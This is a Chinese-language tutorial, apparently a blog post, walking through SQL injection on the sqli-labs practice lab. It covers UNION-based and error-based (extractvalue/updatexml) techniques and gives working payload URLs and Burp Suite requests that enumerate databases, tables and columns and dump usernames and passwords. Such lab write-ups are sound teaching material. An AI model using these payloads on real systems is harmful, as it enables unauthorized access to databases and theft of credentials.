初始化安装MySQL(版本需要在5.0以上),会默认创建4个系统数据库:
其中我们需要特别关注information_schema这个库
在利用"报错函数"进行报错注入时,我们的主要目标就是上图中出现的表
system_user() | 系统用户名 |
user() |
用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | MySQL数据库版本 |
load_file() | 加载本地文件系统上的文件内容,并将其作为字符串值插入到数据库中。 |
@@datadir | 读取数据库路径 |
@@basedir | MySQL安装路径 |
@@version_compile_os | 读取当前操作系统 |
联合查询注入需要用到UNION操作符---UNION 操作符用于连接两个以上的 SELECT 语句的结果并将其组合到一个结果集中。前提是两个select必须有相同列。那么如何判断列数呢?
首先,我们要判断注入点的列数,使用order by;
如图:当order by字段数为3时,页面正常,字段数为4时,页面报错。说明前一个查询语句的结果集有3列
接着在通过查询数据表中不存在的数据,从而执行后面的union语句,来获取显示位
这样就会执行后边的"union select 1,2, 3"
据此可以判断Your Login name 和 Your Password 分别在结果集中的第2列和第3列
那么就可借此在对应的位置插入我们想要执行的代码
结果如下,我们在原本显示的位置输出了我们想要的内容:
如图,有一张"知识要求占比权重"的表(该表5列6行)
我们试着使用order by 6(表中只有5列)
结果显示没有第6列,那么就可以采用二分法依次使用order by 3, order by 5....来最终确定表中只有5列.至于显示位,就是在查询的结果集中最终呈现在网页上的内容,如图:
select * from 知识要求占比权重 where 序号=1;
(注:这段代码视不同的MYSQL版本需要为汉字添加英文单引号)
查询的结果为:
+--------+----------------------------------+--------+--------+--------+
| 序号 | 项目 | 初级 | 中级 | 高级 |
+--------+----------------------------------+--------+--------+--------+
| 1 | 网络安全职业素质(道德) | 5 | 5 | 5 |
+--------+----------------------------------+--------+--------+--------+
1 row in set (0.02 sec)
最终呈现在网页上的就可能为:
您查询的项目为 | 网络安全职业素质(道德) |
中级对应的占比(%) | 5 |
那么这里的显示位就是第2列和第4列;
select * from 知识要求占比权重 where 序号=1 union select 1,2,3,4,5;
+--------+----------------------------------+--------+--------+--------+
| 序号 | 项目 | 初级 | 中级 | 高级 |
+--------+----------------------------------+--------+--------+--------+
| 1 | 网络安全职业素质(道德) | 5 | 5 | 5 |
| 1 | 2 | 3 | 4 | 5 |
+--------+----------------------------------+--------+--------+--------+
2 rows in set (0.02 sec)
如图:
文件路径为\WWW\sqli-labs-master\Less-1\index.php
效果如图,这样我们在学习时会更方便一些:
注意,对应关卡修改对应文件
通过之前的一通操作,我们已经得知了数据的显示位,也就是数据库的查询结果最终显示在网络页面上的内容,那么接下来我们要做的就是找出查询结果的数据库名----
正常的查询:
192.168.xx.xx/sqli-labs-master/Less-1/?id=2
借助联合注入获取数据库名 security:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+
再借助 information_schema 数据库和 查询得知的 security 数据库来获取表名为:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,table_name from information_schema.tables where table_schema='security'--+
那么能否查询 security 这个数据库中包含的所有表呢? 我们可以借助 group_concat(), 这个函数用于将多个行的值连接成一个字符串。它是 MySQL 对 GROUP BY 子句的一个扩展,使其能够执行比单纯分组更复杂的操作:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'--+
知道了数据库名和表名,基本上我们就定位到了所需数据的位置,依旧是借助 information_schema:
我们这里查询的是 users 表:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users'--+
得知在 users 表中的字段名有 username,password,那么借助 group_concat 就可以获得所有的用户名及密码:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,group_concat(username),group_concat(password) from security.users --+
但是这样的查询结果有些凌乱,可以把用户名和密码用特殊符号连接在一起:
http://192.168.xx.xx/sqli-labs-master/Less-1/?id=-1'
union select 1,(select group_concat(username,'~',password) from security.users),3 --+
这样就简洁明了多了~~~
总的来说,联合查询的思路就是:数据库=>表=>字段=>数据
目录
拓展:进行报错注入所需要的数据库前置知识---MYSQL数据库结构
数据库常用系统函数
循序渐进---联合查询注入
拓展:如何判断查询结果的列数以及显示位
拓展:让sqli靶场显示出对应的查询语句
联合查询--获取数据库名
联合查询--获取表名
联合查询---获取字段名(列名)
联合查询---获取具体数据
无中生有---报错注入
拓展:什么是sqli-labs-master?
拓展:强横无比的BP
报错函数---extravalue(),updatexml()
利用报错函数注出数据库名、用户/密码
报错注入--获取数据库名
报错注入--获取表名
报错注入--获取字段名
报错注入--获取具体数据
总结:
Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)http://t.csdnimg.cn/BicwG
报错注入是一种特殊的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,通过在输入的SQL语句中插入恶意的SQL语句,达到获取未授权数据的目的。
在报错注入中,我们可以通过在输入的数据中插入SQL语句的异常字符,使得应用程序抛出异常,从而获取应用程序的错误信息。这些错误信息可能包含了应用程序的敏感数据,如数据库表结构、列名、存储过程等。
例如,假设一个应用程序的登录页面中存在一个SQL注入漏洞。我们可以在用户名或密码中输入以下内容:
1 OR 1=0 --
这个输入会被应用程序解释为一个SQL语句,其中OR 1=0
表示逻辑或运算,由于后面的条件不满足,所以整个SQL语句将返回一个错误。同时,"--"
是MySQL中的注释符号,它会导致后续的语句被注释掉,使得应用程序执行剩下的语句。
当应用程序抛出异常时,会输出错误信息,其中可能包含了数据库表结构和列名的信息。攻击者可以将这些信息记录下来,并构造更加复杂的SQL注入攻击语句,进一步获取更多的数据。
因此,报错注入是一种非常危险的SQL注入攻击方式,它利用了应用程序对异常处理的不完善,获取了应用程序的敏感数据,从而危害了系统的安全。所以,我们应该加强应用程序的异常处理和输入验证机制,提高应用程序的安全性。
当然,在实战中仅仅使用"1 OR 1=0 --",有些过于简单,我们可以利用数据库语言中特有的一些"报错函数"来达成我们的目的,例如ExtractValue(), updatexml()
以下借助sqli-labs-master和BurpSuite来演示这两个函数在SQL报错注入中的运用:
注意,PHP的版本应当为5
sqli-labs-master是一款SQL注入漏洞实验平台,
可以帮助用户学习和理解SQL注入漏洞的原理、检测和利用方法,
提高网络安全意识和技能。
sqli-labs-master提供了多个等级的SQL注入实验题目,
每个题目都提供了详细的说明和目标网址,用户需要通过操作注入点,
构造恶意的SQL语句,获取目标数据库中的数据,完成题目要求的目标。
sqli-labs-master还提供了答案查看功能,
用户可以查看其他用户提交的答案,了解其他用户是如何利用SQL注入漏洞
获取数据的,并通过对比自己的答案,加深对SQL注入漏洞利用方法的理解。
总之,sqli-labs-master是一款非常实用的SQL注入漏洞实验平台,
可以帮助用户提高网络安全技能和意识。
Burp Suite是一款用于攻击web应用程序的集成平台,它包含了许多工具,可以加快攻击应用程序的过程。
Burp Suite主要包括以下模块和功能:
mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作。
SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。而~符号(ascii编码值:0x7e)在xpath格式中是不存在的, 所以一旦在xpath_expr参数出现~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
extravalue(1,要执行的SQL语句)
updatexml(1,要执行的SQL语句,1)
SQL语句中需要包含0x7e
注意:在BurpSuite中,URL中的空格要用"+"代替(在POST表单中不需要)
在BurpSuite中,对URL作如下修改
GET /sqli-labs-master/Less-1/?id=1'
+and+extractvalue(1,concat(0x7e,(select+user()),0x7e))+--+
或者
GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+user()),0x7e),1)+--+
concat()函数用于将多个字符串连接起来,形成一个单一的字符串
响应的结果如下:
需要注意的是以上两个报错函数对输出的字符长度做了限制,其最长输出32位并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效。为此我们可能需要借助limit语句
LIMIT
语句可以有两个参数,也可以有一个参数。当使用两个参数时,第一个参数指定偏移量(从结果集中的哪一行开始返回),第二个参数指定要返回的行数。当只有一个参数时,该参数指定要返回的行数。LIMIT语句的索引从0开始
GET /sqli-labs-master/Less-1/?id=1'
+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+
GET /sqli-labs-master/Less-1/?id=1'
and updatexml(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
where table_schema='security'),0x7e),1) --+ HTTP/1.1
这里返回的语句没有超过32位字符,以防万一,我们加上 limit :
GET /sqli-labs-master/Less-1/?id=1'
and updatexml(1,concat(0x7e,
(select table_name from information_schema.tables
where table_schema='security' limit 0,1),0x7e),1) --+ HTTP/1.1
之后依次使用"limit 1,1" "limit 2,1"......依次遍历出其他的表名(当然如果数据过多的话我们就需要借助BurpSuite 的爆破功能)
GET /sqli-labs-master/Less-1/?id=1'+and+updatexml(1,concat(0x7e,
(select+group_concat(column_name)
+from+information_schema.columns
+where+table_schema='security'+and+table_name='users'),0x7e),1)+--+ HTTP/1.1
/sqli-labs-master/Less-1/?id=1'
and updatexml(1,concat(0x7e,
(select group_concat(username,'~',password) from users)),1) --+
发现数据缺失了一部分,这里就需要使用limit 语句
/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat(0x7e,
(select concat(username,'~',password) from users limit 0,1)),1) --+
这里没有使用group_concat(),因为它会把所有结果合并为一个,这里应当使用concat()
根据页面回显情况使用合适的注入方式
联合注入 | 页面有显示位 |
报错注入 | 页面有SQL报错内容的回显 |
渗透测试---手把手教你SQL注入(2)---盲注http://t.csdnimg.cn/f28Rc
渗透测试---手把手教你SQL注入(3)---UA头注入与referer注入http://t.csdnimg.cn/0qQub